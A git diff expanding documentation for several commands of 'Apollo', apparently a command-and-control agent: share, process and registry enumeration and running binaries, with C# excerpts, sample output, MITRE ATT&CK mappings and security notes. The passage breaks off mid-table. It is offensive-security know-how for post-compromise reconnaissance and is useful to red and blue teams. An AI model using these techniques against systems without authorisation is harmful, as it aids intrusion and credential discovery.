`NetLocalGroupGetMembers` Windows API to collect information about local group membership on a specified host. This information includes the member's name, group name, SID, if the member is a group and what computer it was collected from. \ No newline at end of file +## Limitations +1. Requires access to target computer for remote enumeration +2. May need administrative privileges for some groups/systems +3. Only shows local group membership (not domain groups) +4. SID conversion failures skip affected members +5. Subject to Windows security policies and access controls + +## Error Conditions +- **Access Denied**: Insufficient privileges to enumerate group +- **Group Not Found**: Specified group doesn't exist +- **Network Path Not Found**: Target computer unreachable +- **Invalid Parameter**: Malformed group or computer name +- **SID Conversion Failure**: Unable to convert binary SID to string \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_shares.md b/documentation-payload/apollo/commands/net_shares.md index 771a7a30..a3fd08bd 100644 --- a/documentation-payload/apollo/commands/net_shares.md +++ b/documentation-payload/apollo/commands/net_shares.md @@ -6,25 +6,255 @@ hidden = false +++ ## Summary -Collect information on network shares for a specified host. +Enumerates network shares on a specified computer using `NetShareEnum` Win32 API. Tests share accessibility and categorizes share types including disk drives, print queues, and IPC shares. -### Arguments (Positional) -#### Computer -Specify the computer to collect network shares information from. +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein + +### Arguments +- **computer** (Optional String) - Target computer name (defaults to localhost) ## Usage ``` -net_shares [computer] -``` -Example -``` +net_shares net_shares client01.lab.local ``` +**Raw Output:** +```json +[ + { + "computer_name": "CLIENT01", + "share_name": "C$", + "comment": "Default share", + "type": "Special Reserved for IPC", + "readable": false + } +] +``` + +**Formatted Output:** ![net_shares](../images/net_shares.png) +## Detailed Summary + +### Agent Execution Flow + +#### 1. API Function Resolution +```csharp +public net_shares(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) +{ + _pNetApiBufferFree = _agent.GetApi().GetLibraryFunction(Library.NETUTILS, "NetApiBufferFree"); + _pNetShareEnum = _agent.GetApi().GetLibraryFunction(Library.SRVCLI, "NetShareEnum"); +} +``` +- Resolves `NetShareEnum` from SRVCLI library +- Resolves `NetApiBufferFree` from NETUTILS library +- Uses Apollo's dynamic API resolution framework + +#### 2. Parameter Processing +```csharp +[DataContract] +public struct NetSharesParameters +{ + [DataMember(Name = "computer")] public string Computer; +} + +NetSharesParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); +string computer = parameters.Computer; +if (string.IsNullOrEmpty(computer)) +{ + computer = Environment.GetEnvironmentVariable("COMPUTERNAME"); +} +``` +- Deserializes computer parameter +- Defaults to local computer name if not specified + +#### 3. Share Enumeration +```csharp +private ShareInfo[] EnumerateShares(string computer) +{ + int entriesread = 0; + int totalentries = 0; + int resume_handle = 0; + IntPtr bufPtr = IntPtr.Zero; + int ret = _pNetShareEnum(computer, 1, ref bufPtr, 0xFFFFFFFF, ref entriesread, ref totalentries, ref resume_handle); +} +``` +- Calls `NetShareEnum` with level 1 for basic share information +- Uses maximum preferred length (0xFFFFFFFF) for buffer allocation +- Returns enumeration result code and share count + +#### 4. Share Structure Processing +```csharp +if (ret == 0) +{ + IntPtr currentPtr = bufPtr; + for (int i = 0; i < entriesread; i++) + { + ShareInfo shi1 = (ShareInfo)Marshal.PtrToStructure(currentPtr, typeof(ShareInfo)); + ShareInfos.Add(shi1); + currentPtr = (IntPtr)(currentPtr.ToInt64() + nStructSize); + } + _pNetApiBufferFree(bufPtr); +} +``` +- Iterates through buffer entries using pointer arithmetic +- Marshals each structure from unmanaged memory +- Advances pointer by structure size for next entry +- Frees buffer memory after processing + +#### 5. Share Accessibility Testing +```csharp +try +{ + string path = String.Format("\\\\{0}\\{1}", computer, share.shi1_netname); + var files = System.IO.Directory.GetFiles(path); + result.Readable = true; +} +catch +{ + result.Readable = false; +} +``` +- Constructs UNC path for each share +- Attempts to list files using `Directory.GetFiles()` +- Sets readable flag based on access success/failure +- Handles permission exceptions gracefully + +#### 6. Share Type Classification +```csharp +switch (share.shi1_type) +{ + case ShareType.STYPE_DISKTREE: + result.Type = "Disk Drive"; + break; + case ShareType.STYPE_PRINTQ: + result.Type = "Print Queue"; + break; + case ShareType.STYPE_DEVICE: + result.Type = "Communication Device"; + break; + case ShareType.STYPE_IPC: + result.Type = "Interprocess Communication (IPC)"; + break; + case ShareType.STYPE_SPECIAL: + result.Type = "Special Reserved for IPC."; + break; + // Additional share types... +} +``` +- Maps share type enumeration to human-readable descriptions +- Handles standard Windows share types +- Provides fallback for unknown share types + +### Data Structures + +#### ShareInfo (Unmanaged) +```csharp +[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] +public struct ShareInfo +{ + public string shi1_netname; // Share name + public ShareType shi1_type; // Share type enumeration + public string shi1_remark; // Share comment/description +} +``` + +#### NetShareInformation (Managed) +```csharp +struct NetShareInformation +{ + public string ComputerName; // Target computer name + public string ShareName; // Network share name + public string Comment; // Share description + public string Type; // Human-readable share type + public bool Readable; // Access test result +} +``` + +#### ShareType Enumeration +```csharp +public enum ShareType : uint +{ + STYPE_DISKTREE = 0, // Disk drive share + STYPE_PRINTQ = 1, // Print queue share + STYPE_DEVICE = 2, // Communication device + STYPE_IPC = 3, // IPC share + STYPE_SPECIAL = 0x80000000, // Administrative shares + STYPE_CLUSTER_FS = 0x02000000, // Cluster file system + STYPE_CLUSTER_SOFS = 0x04000000, // Scale-out file system + STYPE_CLUSTER_DFS = 0x08000000, // DFS share in cluster + STYPE_TEMPORARY = 0x40000000, // Temporary share + STYPE_UNKNOWN = 10, // Unknown type +} +``` + +### Win32 API Integration + +#### NetShareEnum Function +```csharp +private delegate int NetShareEnum( + [MarshalAs(UnmanagedType.LPWStr)] string serverName, + int level, + ref IntPtr bufPtr, + uint prefmaxlen, + ref int entriesread, + ref int totalentries, + ref int resume_handle); +``` +- **serverName**: Target computer name +- **level**: Information level (1 for basic share info) +- **bufPtr**: Receives buffer pointer +- **prefmaxlen**: Preferred maximum buffer length +- **entriesread**: Number of entries returned +- **totalentries**: Total entries available +- **resume_handle**: Continuation handle + +### Browser Interface Integration +The JavaScript processes the JSON response into an interactive table with: +- **List Button**: Launches file browser for accessible shares +- **Button State**: Disabled for non-readable shares +- **Share Details**: Name, comment, type, and accessibility +- **Dynamic Title**: Shows target computer name + +### Error Handling +- **API Errors**: Captures and reports `NetShareEnum` return codes +- **Access Exceptions**: Gracefully handles share access failures +- **Memory Management**: Ensures proper buffer cleanup +- **Common Errors**: + - **53**: Network path not found + - **5**: Access denied + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `NetShareEnum` | Enumerate network shares | srvcli.dll | +| `NetApiBufferFree` | Free allocated buffer | netutils.dll | +| `Directory.GetFiles()` | Test share accessibility | System.IO | +| `Marshal.PtrToStructure` | Convert unmanaged to managed | mscorlib.dll | ## MITRE ATT&CK Mapping +- **T1590** - Gather Victim Network Information +- **T1069** - Permission Groups Discovery + +## Security Considerations +- **Information Disclosure**: Reveals available network shares and types +- **Access Testing**: Probes share accessibility which may be logged +- **Reconnaissance**: Provides attack surface information +- **Detection Vectors**: Share enumeration may trigger security monitoring + +## Limitations +1. Requires network connectivity for remote computers +2. Share accessibility depends on current user's permissions +3. Some administrative shares may be hidden or restricted +4. Access testing may generate audit logs +5. Large number of shares may impact performance -- T1590 -- T1069 \ No newline at end of file +## Error Conditions +- **Network Path Not Found**: Target computer unreachable +- **Access Denied**: Insufficient privileges for share enumeration +- **Invalid Computer Name**: Specified computer doesn't exist +- **RPC Server Unavailable**: Remote procedure call failures +- **Buffer Allocation**: Memory allocation failures \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ps.md b/documentation-payload/apollo/commands/ps.md index 55de78f5..b55b0862 100644 --- a/documentation-payload/apollo/commands/ps.md +++ b/documentation-payload/apollo/commands/ps.md @@ -6,16 +6,302 @@ hidden = false +++ ## Summary -Retrieve list of running processes. +Enumerates all running processes with detailed information including process metadata, user context, architecture, integrity levels, and command-line arguments using parallel processing for optimal performance. + +- **Needs Admin:** False +- **Version:** 3 +- **Author:** @djhohnstein + +### Arguments +None ## Usage ``` ps ``` +**Raw Output:** +```json +[ + { + "pid": 1234, + "name": "notepad", + "username": "DOMAIN\\alice", + "parent_process_id": 5678, + "architecture": "x64", + "process_path": "C:\\Windows\\System32\\notepad.exe", + "integrity_level": 2, + "session_id": 1, + "command_line": "notepad.exe document.txt", + "description": "Notepad", + "company_name": "Microsoft Corporation", + "window_title": "document.txt - Notepad" + } +] +``` + +**Formatted Output:** ![ps](../images/ps.png) +## Detailed Summary + +### Agent Execution Flow + +#### 1. API Function Resolution +```csharp +public ps(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) +{ + try + { + _pIsWow64Process2 = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "IsWow64Process2"); + } catch + { + _pIsWow64Process = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "IsWow64Process"); + } + _pOpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); + _pNtQueryInformationProcess = _agent.GetApi().GetLibraryFunction(Library.NTDLL, "NtQueryInformationProcess"); +} +``` +- Attempts to resolve modern `IsWow64Process2` API, falls back to `IsWow64Process` +- Resolves token and process information APIs +- Uses Apollo's dynamic API resolution framework + +#### 2. Parallel Process Enumeration +```csharp +TT.ParallelOptions po = new TT.ParallelOptions(); +po.CancellationToken = _cancellationToken.Token; +po.MaxDegreeOfParallelism = System.Environment.ProcessorCount; + +TT.Parallel.ForEach(System.Diagnostics.Process.GetProcesses(), (proc) => +{ + po.CancellationToken.ThrowIfCancellationRequested(); + ProcessInformation current = new ProcessInformation(); + // Process each process concurrently +}); +``` +- Uses parallel processing with degree equal to processor count +- Supports cancellation through cancellation token +- Processes all system processes concurrently for performance + +#### 3. Process User Extraction +```csharp +public string GetProcessUser(IntPtr procHandle) +{ + try + { + IntPtr tokenHandle = IntPtr.Zero; + _ = _pOpenProcessToken(procHandle, TokenAccessLevels.MaximumAllowed, out procHandle); + return new WindowsIdentity(procHandle).Name; + } + catch + { + return ""; + } +} +``` +- Opens process token with maximum allowed access +- Creates WindowsIdentity to extract username +- Handles access denied exceptions gracefully + +#### 4. Parent Process ID Retrieval +```csharp +public int GetParentProcess(IntPtr procHandle) +{ + try + { + ProcessBasicInformation procinfo = new ProcessBasicInformation(); + _ = _pNtQueryInformationProcess(procHandle, 0, ref procinfo, Marshal.SizeOf(procinfo), out _); + return procinfo.InheritedFromUniqueProcessId.ToInt32(); + } + catch + { + return -1; + } +} +``` +- Uses `NtQueryInformationProcess` with information class 0 (basic information) +- Extracts parent process ID from `ProcessBasicInformation` structure +- Returns -1 on failure + +#### 5. Architecture Detection +```csharp +if (_pIsWow64Process2 != null) +{ + if (_pIsWow64Process2(proc.Handle, out IMAGE_FILE_MACHINE_ processMachine, out _)) + { + switch (processMachine) + { + case IMAGE_FILE_MACHINE_.IMAGE_FILE_MACHINE_UNKNOWN: + current.Architecture = "x64"; + break; + case IMAGE_FILE_MACHINE_.IMAGE_FILE_MACHINE_I386: + current.Architecture = "x86"; + break; + } + } +} +else +{ + if (_pIsWow64Process(proc.Handle, out bool IsWow64)) + { + current.Architecture = IsWow64 ? "x86" : "x64"; + } +} +``` +- Prefers modern `IsWow64Process2` for detailed architecture information +- Falls back to `IsWow64Process` on older systems +- Maps machine types to readable architecture strings + +#### 6. Integrity Level Extraction +```csharp +private string GetIntegrityLevel(IntPtr procHandle) +{ + IntPtr hProcToken; + Result = _pOpenProcessToken(procHandle, TokenAccessLevels.Query, out hProcToken); + Result = _pGetTokenInformation(hProcToken, TokenInformationClass.TokenIntegrityLevel, TokenInformation, TokenInfLength, out TokenInfLength); + pTIL = (TokenMandatoryLevel)Marshal.PtrToStructure(TokenInformation, typeof(TokenMandatoryLevel)); + _pConvertSidToStringSid(pTIL.Label.Sid, out sidString); +} +``` +- Opens process token for query access +- Retrieves token integrity level information +- Converts integrity level SID to string format +- Maps to integer levels (0=Untrusted, 1=Low, 2=Medium, 3=High) + +#### 7. Command Line Retrieval +```csharp +private string GetProcessCommandLine(int processId) +{ + using (ManagementObjectSearcher mos = new ManagementObjectSearcher( + String.Format("SELECT CommandLine FROM Win32_Process WHERE ProcessId = {0}", processId))) + { + foreach (ManagementObject mo in mos.Get()) + { + if (mo.GetPropertyValue("CommandLine") != null) + { + result = mo.GetPropertyValue("CommandLine").ToString(); + result = Uri.UnescapeDataString(result); + break; + } + } + } +} +``` +- Uses WMI to query process command line +- Handles processes without command line information +- URL-decodes command line for proper display + +#### 8. Comprehensive Metadata Collection +```csharp +try +{ + current.ProcessPath = proc.MainModule.FileVersionInfo.FileName; + current.Description = proc.MainModule.FileVersionInfo.FileDescription; + current.CompanyName = proc.MainModule.FileVersionInfo.CompanyName; + current.WindowTitle = proc.MainWindowTitle; + current.SessionId = proc.SessionId; +} +catch +{ + // Handle access denied for protected processes +} +``` +- Extracts file version information from main module +- Captures window title for GUI applications +- Records session ID for session tracking +- Handles exceptions for protected processes + +### Data Structures + +#### ProcessInformation +```csharp +struct ProcessInformation +{ + public int PID; // Process ID + public string Name; // Process name + public string Username; // Process owner + public int ParentProcessId; // Parent process ID + public string Architecture; // x86/x64 + public string ProcessPath; // Full executable path + public int IntegrityLevel; // 0-3 integrity level + public int SessionId; // User session ID + public string CommandLine; // Command line arguments + public string Description; // File description + public string CompanyName; // Software vendor + public string WindowTitle; // Main window title + public bool UpdateDeleted; // Update flag +} +``` + +#### ProcessBasicInformation (Native) +```csharp +[StructLayout(LayoutKind.Sequential, Pack = 1)] +internal struct ProcessBasicInformation +{ + internal IntPtr ExitStatus; + internal IntPtr PebBaseAddress; + internal IntPtr AffinityMask; + internal IntPtr BasePriority; + internal UIntPtr UniqueProcessId; + internal IntPtr InheritedFromUniqueProcessId; // Parent PID +} +``` + +### Integrity Level Mapping +```csharp +private int GetIntegerIntegrityLevel(string il) +{ + switch (il) + { + case "S-1-16-0": return 0; // Untrusted + case "S-1-16-4096": return 1; // Low + case "S-1-16-8192": return 2; // Medium + case "S-1-16-12288": return 3; // High + case "S-1-16-16384": return 3; // System + case "S-1-16-20480": return 3; // Protected Process + case "S-1-16-28672": return 3; // Secure Process + } +} +``` + +### Performance Optimization +- **Parallel Processing**: Uses all available CPU cores +- **Exception Handling**: Graceful degradation for inaccessible processes +- **Thread Safety**: Thread-safe collections for concurrent access +- **Cancellation Support**: Honors cancellation requests during enumeration + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `Process.GetProcesses()` | Enumerate all processes | System.Diagnostics | +| `OpenProcessToken` | Open process token | advapi32.dll | +| `NtQueryInformationProcess` | Get process basic information | ntdll.dll | +| `GetTokenInformation` | Get token details | advapi32.dll | +| `IsWow64Process2` | Determine process architecture | kernel32.dll | +| `IsWow64Process` | Determine WoW64 status (fallback) | kernel32.dll | +| `ConvertSidToStringSid` | Convert integrity SID | advapi32.dll | +| `ManagementObjectSearcher` | WMI query for command lines | System.Management | ## MITRE ATT&CK Mapping +- **T1106** - Native API +- **T1057** - Process Discovery + +## Security Considerations +- **Information Disclosure**: Reveals detailed process information +- **System Reconnaissance**: Provides comprehensive system state view +- **Process Monitoring**: Shows all running processes and their relationships +- **User Context**: Exposes process ownership and privilege levels + +## Limitations +1. Some process information requires appropriate privileges +2. Protected processes may deny access to certain metadata +3. WMI queries for command lines may be slow on some systems +4. Integrity level extraction requires token query access +5. Parallel processing may impact system performance temporarily -- T1106 \ No newline at end of file +## Error Conditions +- **Access Denied**: Insufficient privileges for protected processes +- **Process Termination**: Processes may exit during enumeration +- **WMI Failures**: Management queries may fail for some processes +- **Token Access**: Token operations may fail for system processes +- **API Unavailability**: Some APIs may not exist on older systems \ No newline at end of file diff --git a/documentation-payload/apollo/commands/reg_query.md b/documentation-payload/apollo/commands/reg_query.md index 39e02e4c..71315635 100644 --- a/documentation-payload/apollo/commands/reg_query.md +++ b/documentation-payload/apollo/commands/reg_query.md @@ -10,31 +10,301 @@ Artifacts Generated: Registry Read {{% /notice %}} ## Summary -Query subkeys of a specified registry key. +Queries Windows registry keys and values using `Microsoft.Win32.RegistryKey` APIs. Enumerates subkeys and values within a specified registry path, handling multiple data types and generating registry access artifacts. + +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein ### Arguments +- **hive** (ChooseOne) - Registry hive (HKLM, HKCU, HKU, HKCR, HKCC) +- **key** (String, Optional) - Registry key path within the hive + +## Usage +``` +reg_query HKLM:\System\Setup +reg_query -Hive HKLM -Key Software\Microsoft\Windows\CurrentVersion +``` ![subkeys](../images/reg_query.png) -#### Hive -The registry key to retrieve subkeys for. This must be in the format of `HKLM:\SYSTEM\Setup`, where `HKLM` can be any of the following values: +**Raw Output:** +```json +[ + { + "hive": "HKLM", + "name": "SystemSetupInProgress", + "full_name": "System\\Setup", + "value": "0", + "value_type": "int", + "result_type": "value" + }, + { + "hive": "HKLM", + "name": "Upgrade", + "full_name": "System\\Setup\\Upgrade", + "value": "", + "value_type": "key", + "result_type": "key" + } +] +``` -- HKLM -- HKCU -- HKU -- HKCR -- HKCC +**Formatted Output:** +![subkeys](../images/reg_query_disp.png) -#### Key (optional) -Registry key to query in the Hive for. +## Detailed Summary -## Usage +### Agent Execution Flow + +#### 1. Parameter Processing +```csharp +[DataContract] +internal struct RegQueryParameters +{ + [DataMember(Name = "hive")] + public string Hive; + [DataMember(Name = "key")] + public string Key; +} + +RegQueryParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); +``` +- Deserializes registry hive and key path +- Supports both full and abbreviated hive names + +#### 2. Subkey Enumeration +```csharp +private static string[] GetSubKeys(string hive, string subkey) +{ + using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, false)) + { + return regKey.GetSubKeyNames(); + } +} + +string[] subkeys = GetSubKeys(parameters.Hive, parameters.Key); +foreach (string subkey in subkeys) +{ + results.Add(new RegQueryResult + { + Name = subkey, + FullName = parameters.Key.EndsWith("\\") ? $"{parameters.Key}{subkey}" : $"{parameters.Key}\\{subkey}", + Hive = parameters.Hive, + ResultType = "key" + }); +} ``` -reg_query -Hive HKLM -Key System\\Setup +- Uses `RegistryUtils.GetRegistryKey()` to open registry key +- Calls `GetSubKeyNames()` to enumerate child keys +- Constructs full path for each subkey +- Marks entries as "key" type + +#### 3. Registry Value Enumeration +```csharp +private static string[] GetValueNames(string hive, string subkey) +{ + using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, false)) + { + return regKey.GetValueNames(); + } +} + +string[] subValNames = GetValueNames(parameters.Hive, parameters.Key); +foreach (string valName in subValNames) +{ + tmpVal = GetValue(parameters.Hive, parameters.Key, valName); + SetValueType(tmpVal, ref res); + results.Add(res); +} ``` +- Enumerates value names within the registry key +- Retrieves actual value data for each name +- Processes value types for proper display -![subkeys](../images/reg_query_disp.png) +#### 4. Value Type Processing +```csharp +private void SetValueType(object tmpVal, ref RegQueryResult res) +{ + if (tmpVal is String) + { + res.Value = string.IsNullOrEmpty(tmpVal.ToString()) ? "(value not set)" : tmpVal.ToString(); + res.Type = "string"; + } + else if (tmpVal is int) + { + res.Value = tmpVal.ToString(); + res.Type = "int"; + } + else if (tmpVal is byte[]) + { + res.Value = BitConverter.ToString((byte[])tmpVal); + res.Type = "byte[]"; + } + else if (tmpVal is null) + { + res.Value = "(value not set)"; + res.Type = "null"; + } + else + { + res.Value = tmpVal.ToString(); + res.Type = "unknown"; + } +} +``` +- Handles multiple registry data types +- Converts binary data to hex string representation +- Provides fallback for unknown types + +#### 5. Artifact Generation +```csharp +artifacts.Add(Artifact.RegistryRead(parameters.Hive, parameters.Key)); +foreach (string valName in subValNames) +{ + artifacts.Add(Artifact.RegistryRead(parameters.Hive, $"{parameters.Key} {valName}")); +} +``` +- Creates registry read artifact for each key access +- Generates separate artifacts for value reads +- Tracks all registry access operations + +#### 6. Error Handling +```csharp +try +{ + string[] subkeys = GetSubKeys(parameters.Hive, parameters.Key); +} +catch (Exception ex) +{ + error = ex.Message; +} + +if (results.Count == 0) +{ + resp = CreateTaskResponse(error, true, "error", artifacts.ToArray()); +} +``` +- Separates subkey and value enumeration errors +- Continues processing if one operation fails +- Reports errors only if no results obtained + +### Registry Hive Mapping + +#### Supported Hives +| Abbreviation | Full Name | Description | +|--------------|-----------|-------------| +| HKLM | HKEY_LOCAL_MACHINE | System-wide settings | +| HKCU | HKEY_CURRENT_USER | Current user settings | +| HKU | HKEY_USERS | All user profiles | +| HKCR | HKEY_CLASSES_ROOT | File associations and COM | +| HKCC | HKEY_CURRENT_CONFIG | Current hardware profile | + +#### Hive Resolution +```python +hiveMap = { + "HKEY_LOCAL_MACHINE": "HKLM", + "HKEY_CURRENT_USER": "HKCU", + "HKEY_USERS": "HKU", + "HKEY_CLASSES_ROOT": "HKCR", + "HKEY_CURRENT_CONFIG": "HKCC" +} +``` +- Accepts both full and abbreviated hive names +- Normalizes to abbreviated format for consistency + +### Data Structures + +#### RegQueryResult +```csharp +struct RegQueryResult +{ + public string Hive; // Registry hive abbreviation + public string Name; // Key or value name + public string FullName; // Complete registry path + public string Value; // Value data (for values) + public string Type; // Data type + public string ResultType; // "key" or "value" +} +``` + +### Registry Data Types + +#### Supported Types +- **String**: REG_SZ and REG_EXPAND_SZ values +- **Integer**: REG_DWORD values +- **Binary**: REG_BINARY displayed as hex +- **Null**: Empty or null values +- **Unknown**: Fallback for unsupported types + +#### Binary Data Handling +```csharp +res.Value = BitConverter.ToString((byte[])tmpVal); +``` +- Converts byte arrays to hex string format +- Uses hyphen-separated hex representation + +### Registry Access Patterns + +#### Key Enumeration +1. Open registry key with read access +2. Call `GetSubKeyNames()` to list child keys +3. Build full paths for navigation +4. Mark as "key" type results + +#### Value Enumeration +1. Open same registry key +2. Call `GetValueNames()` to list values +3. Retrieve value data with `GetValue()` +4. Process data types appropriately +5. Mark as "value" type results + +## APIs Used +| API | Purpose | Namespace | +|-----|---------|-----------| +| `RegistryUtils.GetRegistryKey()` | Open registry key | Apollo Utils | +| `RegistryKey.GetSubKeyNames()` | Enumerate subkeys | Microsoft.Win32 | +| `RegistryKey.GetValueNames()` | Enumerate value names | Microsoft.Win32 | +| `RegistryKey.GetValue()` | Retrieve value data | Microsoft.Win32 | +| `BitConverter.ToString()` | Convert binary to hex | System | ## MITRE ATT&CK Mapping +- **T1012** - Query Registry +- **T1552** - Unsecured Credentials (registry stored credentials) + +## Security Considerations +- **Information Disclosure**: Reveals registry structure and sensitive values +- **Credential Exposure**: May expose stored passwords or keys +- **System Configuration**: Shows security settings and configurations +- **Attack Planning**: Provides reconnaissance for privilege escalation + +## Limitations +1. Access depends on current user privileges +2. Some registry keys require elevated permissions +3. Large registry trees may impact performance +4. Binary data displayed as hex strings only +5. No write or modification capabilities + +## Error Conditions +- **Access Denied**: Insufficient permissions for registry key +- **Key Not Found**: Specified registry path doesn't exist +- **Invalid Hive**: Unsupported or malformed hive name +- **Path Too Long**: Registry path exceeds maximum length +- **System Error**: Underlying registry API failures + +## Common Use Cases + +#### System Information +- `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion` - OS version info +- `HKLM\SYSTEM\CurrentControlSet\Services` - Service configurations +- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall` - Installed programs + +#### User Settings +- `HKCU\Software` - User application settings +- `HKCU\Environment` - User environment variables +- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` - User startup programs -- T1012 \ No newline at end of file +#### Security Settings +- `HKLM\SYSTEM\CurrentControlSet\Control\Lsa` - LSA settings +- `HKLM\SOFTWARE\Policies` - Group policy settings +- `HKCU\Software\Policies` - User policy settings \ No newline at end of file diff --git a/documentation-payload/apollo/commands/run.md b/documentation-payload/apollo/commands/run.md index 101b8170..918a53bc 100644 --- a/documentation-payload/apollo/commands/run.md +++ b/documentation-payload/apollo/commands/run.md @@ -10,27 +10,253 @@ Artifacts Generated: Process Create {{% /notice %}} ## Summary -Execute a binary with any specified arguments. Command will use %PATH% without needing to use full paths. +Executes binaries with specified arguments using proper command-line parsing and PATH resolution. Captures output in real-time and manages process lifecycle with cancellation support. -### Arguments -#### Executable -Executable binary to run. +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein -#### Arguments -Any arguments to the binary being executed. +### Arguments +- **executable** (String) - Path or name of executable to run +- **arguments** (String, Optional) - Command-line arguments for the executable ## Usage ``` -run -Executable [binary] -Arguments [arguments] +run ipconfig /all +run -Executable notepad -Arguments "C:\file.txt" +run calc.exe +``` + +**Output:** +``` +Windows IP Configuration + + Host Name . . . . . . . . . . . . : WORKSTATION01 + Primary Dns Suffix . . . . . . . : domain.local + ... +``` + +## Detailed Summary + +### Agent Execution Flow + +#### 1. Parameter Processing +```csharp +[DataContract] +internal struct RunParameters +{ + [DataMember(Name = "executable")] public string Executable; + [DataMember(Name = "arguments")] public string Arguments; +} + +RunParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); +string mythiccmd = parameters.Executable; +if (!string.IsNullOrEmpty(parameters.Arguments)) +{ + mythiccmd += " " + parameters.Arguments; +} +``` +- Deserializes executable and arguments parameters +- Combines executable and arguments into single command line +- Supports both JSON and space-separated parameter formats + +#### 2. Command Line Parsing +```csharp +private string[] ParseCommandLine(string cmdline) +{ + int numberOfArgs; + IntPtr ptrToSplitArgs; + string[] splitArgs; + + ptrToSplitArgs = _pCommandLineToArgvW(cmdline, out numberOfArgs); + if (ptrToSplitArgs == IntPtr.Zero) + return null; + + try + { + splitArgs = new string[numberOfArgs]; + for (int i = 0; i < numberOfArgs; i++) + splitArgs[i] = Marshal.PtrToStringUni( + Marshal.ReadIntPtr(ptrToSplitArgs, i * IntPtr.Size)); + return splitArgs; + } + finally + { + _pLocalFree(ptrToSplitArgs); + } +} +``` +- Uses Windows `CommandLineToArgvW` API for proper command-line parsing +- Handles quoted arguments and special characters correctly +- Properly frees allocated memory using `LocalFree` +- Returns null on parsing failure + +#### 3. Process Creation and Configuration +```csharp +string[] parts = ParseCommandLine(mythiccmd); +string app = parts[0]; +string cmdline = null; +if (parts.Length > 1) +{ + cmdline = mythiccmd.Replace(app, "").TrimStart(); +} + +proc = _agent.GetProcessManager().NewProcess(app, cmdline); +proc.OutputDataReceived += DataReceived; +proc.ErrorDataReceieved += DataReceived; +proc.Exit += Proc_Exit; ``` +- Separates application path from arguments +- Creates process using Apollo's process manager +- Registers event handlers for output, error, and exit events +- Enables real-time output capture -Example +#### 4. Process Execution and Monitoring +```csharp +bool bRet = proc.Start(); +if (!bRet) +{ + // Handle start failure +} +else +{ + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "", + new IMythicMessage[] { Artifact.ProcessCreate((int) proc.PID, app, cmdline) })); + + while(proc != null && !proc.HasExited && !_cancellationToken.IsCancellationRequested) + { + WaitHandle.WaitAny(new WaitHandle[] { _complete, _cancellationToken.Token.WaitHandle }, 500); + } +} ``` -run -Executable ipconfig -Arguments /all +- Starts the process and checks for success +- Creates process creation artifact with PID and command line +- Monitors process execution with 500ms polling intervals +- Supports cancellation through cancellation token + +#### 5. Output Handling +```csharp +private void DataReceived(object sender, ApolloInterop.Classes.Events.StringDataEventArgs e) +{ + if (!string.IsNullOrEmpty(e.Data)) + { + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse(e.Data, false, "")); + } +} ``` +- Captures both stdout and stderr output +- Streams output in real-time as intermediate responses +- Filters empty output to reduce noise + +#### 6. Process Cleanup +```csharp +private void Proc_Exit(object sender, EventArgs e) +{ + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); + _complete.Set(); +} + +if (proc != null && !proc.HasExited) +{ + proc.Kill(); + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); +} +``` +- Handles normal process exit through event handler +- Kills process if still running when task is cancelled +- Ensures proper task completion in all scenarios + +### API Function Resolution + +#### Required APIs +```csharp +public run(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) +{ + _pLocalFree = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "LocalFree"); + _pCommandLineToArgvW = _agent.GetApi().GetLibraryFunction(Library.SHELL32, "CommandLineToArgvW"); +} +``` +- Resolves `CommandLineToArgvW` from Shell32 for command parsing +- Resolves `LocalFree` from Kernel32 for memory cleanup +- Uses Apollo's dynamic API resolution framework + +### Process Manager Integration + +The command leverages Apollo's process manager which handles: +- **PATH Resolution**: Automatic executable location via %PATH% +- **Process Creation**: Platform-appropriate process spawning +- **Output Redirection**: Capture of stdout and stderr streams +- **Process Lifecycle**: Management of process state and cleanup + +### Command Line Parsing Features + +#### Windows-Style Parsing +- **Quoted Arguments**: Properly handles `"argument with spaces"` +- **Escape Sequences**: Processes backslash escaping +- **Special Characters**: Handles pipes, redirects, and other shell characters +- **Empty Arguments**: Preserves empty quoted strings + +#### PATH Resolution +- **Executable Search**: Uses Windows PATH environment variable +- **File Extensions**: Automatically appends .exe, .cmd, .bat as needed +- **Current Directory**: Searches current working directory first +- **Full Paths**: Supports absolute paths bypassing PATH search + +### Data Structures + +#### RunParameters +```csharp +struct RunParameters +{ + public string Executable; // Executable name or path + public string Arguments; // Command-line arguments +} +``` + +### Real-Time Output Features + +#### Output Streaming +- **Immediate Display**: Output appears as it's generated +- **Bidirectional Capture**: Both stdout and stderr streams +- **Event-Driven**: Uses event handlers for efficient processing +- **Non-Blocking**: Doesn't wait for process completion to show output + +#### Process Monitoring +- **Status Tracking**: Monitors process execution state +- **Exit Detection**: Detects process termination +- **Cancellation Support**: Can interrupt long-running processes +- **Resource Management**: Proper cleanup on all exit paths + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `CommandLineToArgvW` | Parse command line into arguments | shell32.dll | +| `LocalFree` | Free memory allocated by Windows | kernel32.dll | +| 